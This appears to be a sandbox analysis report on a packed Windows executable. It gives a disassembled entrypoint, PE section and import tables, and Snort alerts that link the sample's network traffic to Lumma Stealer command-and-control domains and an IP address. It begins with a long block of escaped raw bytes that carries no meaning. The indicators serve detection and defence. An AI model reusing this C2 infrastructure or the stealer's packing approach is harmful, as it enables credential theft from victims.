cb\xe6\xb0\xca\xe7\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe7\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe7\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe7\xb0\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xaf\xca\xe6\xaf\xca\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe7\xaf\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xcb\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xaf\xca\xe7\xaf\xca\xe7\xaf\xca\xe6\xaf\xca\xe6\xaf\xcb\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xcb\xe6\xb0\xca\xe7\xaf\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe7\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xb0\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe7\xaf\xca\xe6\xaf\xca\xe7\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe7\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe7\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe7\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xaf\xca\xe7\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe7\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xcb\xe7\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xaf\xcb\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xb0\xca\xe6\xb0\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe7\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe7\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe7\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe7\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xcb\xe7\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe7\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xcb\xe7\xb0\xca\xe7\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe7\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe7\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe7\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe7\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe7\xb0\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xaf\xca\xe6\xaf\xca\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe7\xaf\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xcb\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xaf\xca\xe7\xaf\xca\xe7\xaf\xca\xe6\xaf\xca\xe6\xaf\xcb\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xcb\xe6\xb0\xca\xe7\xaf\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe7\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xb0\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe7\xaf\xca\xe6\xaf\xca\xe7\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe7\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe7\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe7\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xaf\xca\xe7\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe7\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xcb\xe7\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xaf\xcb\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xb0\xca\xe6\xb0\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe7\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca
Version:	3
Thumbprint MD5:	C52F4D30B83A70AF0470658DE69BF663
Thumbprint SHA-1:	9E54C11AE2FF492B3597DC10CEE5EBB837B3BFAC
Thumbprint SHA-256:	7F26021CC1AE0BA2A97162E2CA71CCE97C6A30A498EB321878EB7AC98A6CCECE
Serial:	66EA4ABB0FB7CE8C42D3CDE1769F1FEB

Entrypoint Preview

Instruction
push ebp
pushfd
mov ebp, 11260B80h
call 00007F1A64E21244h
jnle 00007F1A64E349F7h
pushfd
xchg eax, esi
lodsd
lds esi, fword ptr [edi+46h]
loope 00007F1A64E34A5Ah
sbb ecx, dword ptr [eax-39h]
inc esp
and al, 00h
loopne 00007F1A64E349A8h
xor cl, ch
call 00007F1A64D95E37h
inc ebp
xor dl, al
bts di, di
call 00007F1A64E2922Ah
in eax, 1Fh
rcl dword ptr [eax-69BC8AEFh], cl
mov cl, EEh
xor dword ptr [edi], esi
add eax, 1DC8DDCCh
inc ebp
add eax, esi
cmc
mov eax, 8AB8E7F3h
jnle 00007F1A64E349BAh
add ebx, edx
mov al, DAh
mov edi, 8F00769Eh
call far 96D8h : CB007698h
sbb al, B0h
mov cl, 4Fh
bound esi, dword ptr [ecx]
pop esi
arpl word ptr [edi+1A2F4369h], cx
in al, dx
sub dword ptr [edx], ebp
shld dx, ax, cl
call 00007F1A64D5A78Ah
jmp 00007F1A64D98136h
mov ecx, 2BB3C7B8h
mov ecx, dword ptr [ecx+ebp-2BB3C7B8h]
mov edi, E8B63391h
imul di, di
mov edi, dword ptr [ebp+04h]
jc 00007F1A64C4873Bh
mov eax, 942C2986h
call 00007F1A64E06781h
jmp 00007F1A64E2D0FEh
not edx
jmp 00007F1A64C422B7h
test ebx, ebx
lea esp, dword ptr [esp+04h]
je 00007F1A64D46E83h
mov eax, dword ptr [ebp+ebx*4+00h]
call 00007F1A64C3669Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e54fc	0x8c	.vmp$PH
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x38e000	0x8940	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x24e000	0x6e68	.vmp$PH
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x38c000	0x1a18	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x140000	0x44	.vmp$PH
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x35af2	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x37000	0x296b	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3a000	0xa254	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp$PH	0x45000	0xfa30b	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.vmp$PH	0x140000	0x234	0x400	4a3b4254d0505fb177a355c1e8b8c1dd	False	0.0634765625	data	0.34905982431271465	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp$PH	0x141000	0x24ad80	0x24ae00	f27a27a2bdedeb219de2e9f64e257088	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0x38c000	0x1a18	0x1c00	0c51f8f87abe17c6a9c18e9ea241d13c	False	0.37583705357142855	data	5.725189163263045	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x38e000	0x8940	0xe00	7476abb1f0dafc6e668fb56f2a6110b8	False	0.3247767857142857	data	3.5735703364825677	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AFX_DIALOG_LAYOUT	0x38ed08	0x2	data			5.0
AFX_DIALOG_LAYOUT	0x38ed0c	0x2	data			5.0
RT_DIALOG	0x38ed10	0x8e	data			0.08450704225352113
RT_DIALOG	0x38eda0	0x1ea	data			0.125
RT_DIALOG	0x38ef8c	0x1bc	empty			0
RT_STRING	0x38f148	0x44c	empty			0
RT_STRING	0x38f594	0x422	empty			0
RT_STRING	0x38f9b8	0x45e	empty			0
RT_STRING	0x38fe18	0x426	empty			0
RT_STRING	0x390240	0x3c2	empty			0
RT_STRING	0x390604	0x2d6	empty			0
RT_STRING	0x3908dc	0x62	empty			0
RT_RCDATA	0x390940	0x6000	empty	English	United States	0
RT_MESSAGETABLE	0x38e3a4	0x74c	Matlab v4 mat-file (little endian) T, text, rows 200, columns 225, imaginary	English	United States	0.30085653104925053
RT_MANIFEST	0x38eaf0	0x216	ASCII text, with CRLF line terminators			0.5411985018726592

Imports

DLL	Import
KERNEL32.dll	ExitProcess
ole32.dll	CoCreateInstance
OLEAUT32.dll	SysAllocString
USER32.dll	CloseClipboard
GDI32.dll	BitBlt
KERNEL32.dll	HeapAlloc, HeapFree, ExitProcess, GetModuleHandleA, LoadLibraryA, GetProcAddress

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/22/24-13:54:05.472247	TCP	2051588	ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI)	49735	443	192.168.2.4	172.67.147.173
03/22/24-13:54:10.961651	TCP	2051588	ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI)	49739	443	192.168.2.4	172.67.147.173
03/22/24-13:54:02.814250	UDP	2051587	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (colorfulequalugliess .shop)	57667	53	192.168.2.4	1.1.1.1
03/22/24-13:54:03.114371	TCP	2051588	ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI)	49732	443	192.168.2.4	172.67.147.173
03/22/24-13:54:09.869399	TCP	2051588	ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI)	49738	443	192.168.2.4	172.67.147.173
03/22/24-13:54:02.910864	UDP	2051586	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (wisemassiveharmonious .shop)	63995	53	192.168.2.4	1.1.1.1
03/22/24-13:54:08.102502	TCP	2051588	ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI)	49737	443	192.168.2.4	172.67.147.173
